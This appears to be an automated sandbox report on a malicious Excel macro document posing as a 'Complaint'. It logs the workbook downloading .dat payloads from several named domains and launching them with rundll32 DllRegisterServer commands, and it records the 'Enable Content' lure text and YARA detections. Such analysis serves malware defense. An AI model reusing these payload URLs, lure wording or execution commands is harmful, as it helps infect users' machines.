Source: http://pathinanchilearthmovers.com/eznwcdhx/44250659496064800000.dat |
Avira URL Cloud: Label: malware |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll |
Jump to behavior |
Source: unknown |
HTTPS traffic detected: 138.36.237.100:443 -> 192.168.2.22:49168 version: TLS 1.2 |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe |
Jump to behavior |
Source: global traffic |
DNS query: name: rzminc.com |
Source: global traffic |
TCP traffic: 192.168.2.22:49168 -> 138.36.237.100:443 |
Source: global traffic |
TCP traffic: 192.168.2.22:49165 -> 72.52.227.180:80 |
Source: Joe Sandbox View |
IP Address: 138.36.237.100 138.36.237.100 |
Source: Joe Sandbox View |
IP Address: 68.66.216.42 68.66.216.42 |
Source: Joe Sandbox View |
JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b |
Source: global traffic |
HTTP traffic detected: GET /xklyulyijvn/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rzminc.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /eznwcdhx/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: pathinanchilearthmovers.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /xjzpfwc/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jugueterialatorre.com.arConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /fdzgprclatqo/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rzminc.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /otmchxmxeg/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: biblicalisraeltours.comConnection: Keep-Alive |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ |
Jump to behavior |
Source: global traffic |
HTTP traffic detected: GET /xklyulyijvn/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rzminc.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /eznwcdhx/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: pathinanchilearthmovers.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /xjzpfwc/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jugueterialatorre.com.arConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /fdzgprclatqo/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rzminc.comConnection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /otmchxmxeg/44250659496064800000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: biblicalisraeltours.comConnection: Keep-Alive |
Source: rundll32.exe, 00000004.00000002.2141685711.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135628260.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2126075377.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123580345.0000000001B30000.00000002.00000001.sdmp |
String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail) |
Source: unknown |
DNS traffic detected: queries for: rzminc.com |
Source: rundll32.exe, 00000004.00000002.2141685711.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135628260.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2126075377.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123580345.0000000001B30000.00000002.00000001.sdmp |
String found in binary or memory: http://investor.msn.com |
Source: rundll32.exe, 00000004.00000002.2141685711.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135628260.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2126075377.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123580345.0000000001B30000.00000002.00000001.sdmp |
String found in binary or memory: http://investor.msn.com/ |
Source: rundll32.exe, 00000004.00000002.2141875808.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135776075.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127097102.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123768215.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2117781328.0000000001DA7000.00000002.00000001.sdmp |
String found in binary or memory: http://localizability/practices/XML.asp |
Source: rundll32.exe, 00000004.00000002.2141875808.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135776075.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127097102.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123768215.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2117781328.0000000001DA7000.00000002.00000001.sdmp |
String found in binary or memory: http://localizability/practices/XMLConfiguration.asp |
Source: rundll32.exe, 00000004.00000002.2141875808.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135776075.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127097102.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123768215.0000000001D17000.00000002.00000001.sdmp |
String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check |
Source: rundll32.exe, 00000004.00000002.2141875808.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135776075.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127097102.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123768215.0000000001D17000.00000002.00000001.sdmp |
String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true |
Source: rundll32.exe, 00000004.00000002.2141685711.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135628260.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2126075377.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123580345.0000000001B30000.00000002.00000001.sdmp |
String found in binary or memory: http://www.hotmail.com/oe |
Source: rundll32.exe, 00000004.00000002.2141875808.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135776075.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127097102.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123768215.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2117781328.0000000001DA7000.00000002.00000001.sdmp |
String found in binary or memory: http://www.icra.org/vocabulary/. |
Source: rundll32.exe, 00000004.00000002.2141685711.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135628260.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2126075377.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123580345.0000000001B30000.00000002.00000001.sdmp |
String found in binary or memory: http://www.msnbc.com/news/ticker.txt |
Source: rundll32.exe, 00000007.00000002.2123580345.0000000001B30000.00000002.00000001.sdmp |
String found in binary or memory: http://www.windows.com/pctv. |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 49168 |
Source: unknown |
Network traffic detected: HTTP traffic on port 49168 -> 443 |
Source: unknown |
HTTPS traffic detected: 138.36.237.100:443 -> 192.168.2.22:49168 version: TLS 1.2 |
Source: Complaint-1992179913-02182021.xls |
Initial sample: urlmon |
Source: Screenshot number: 4 |
Screenshot OCR: Enable Editing, please click Enabk 14 from the yellow bar above f y-t."|| I xa I 15 " lnn|| I F? |
Source: Screenshot number: 8 |
Screenshot OCR: Enable Editing, please click Enabli " ' ' 14 from the yellow bar above RunDLL |~| 15 16 Therewas |
Source: Document image extraction number: 2 |
Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Content |
Source: Document image extraction number: 2 |
Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro |
Source: Document image extraction number: 8 |
Screenshot OCR: Enable Editing from the yellow bar above @Once You have Enable Editing, please click Enable Conten |
Source: Document image extraction number: 8 |
Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? m You are using IDS or And |
Source: Complaint-1992179913-02182021.xls |
Initial sample: EXEC |
Source: Complaint-1992179913-02182021.xls |
OLE indicator, VBA macros: true |
Source: Complaint-1992179913-02182021.xls, type: SAMPLE |
Matched rule: SUSP_EnableContent_String_Gen date = 2019-02-12, hash1 = 525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de, author = Florian Roth, description = Detects suspicious string that asks to enable active content in Office Doc, reference = Internal Research |
Source: rundll32.exe, 00000004.00000002.2141685711.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2135628260.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2126075377.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2123580345.0000000001B30000.00000002.00000001.sdmp |
Binary or memory string: .VBPud<_ |
Source: classification engine |
Classification label: mal84.expl.evad.winXLS@11/13@6/4 |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File created: C:\Users\user\Desktop\76DE0000 |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File created: C:\Users\user\AppData\Local\Temp\CVRCE17.tmp |
Jump to behavior |
Source: Complaint-1992179913-02182021.xls |
OLE indicator, Workbook stream: true |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File read: C:\Users\desktop.ini |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA |
Jump to behavior |
Source: unknown |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr,DllRegisterServer |
Source: unknown |
Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding |
|
Source: unknown |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr,DllRegisterServer |
|
Source: unknown |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr1,DllRegisterServer |
|
Source: unknown |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr2,DllRegisterServer |
|
Source: unknown |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr3,DllRegisterServer |
|
Source: unknown |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr4,DllRegisterServer |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr,DllRegisterServer |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr1,DllRegisterServer |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr2,DllRegisterServer |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr3,DllRegisterServer |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\JDFR.hdfgr4,DllRegisterServer |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: Window Recorder |
Window detected: More than 3 window changes detected |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: Yara match |
File source: Complaint-1992179913-02182021.xls, type: SAMPLE |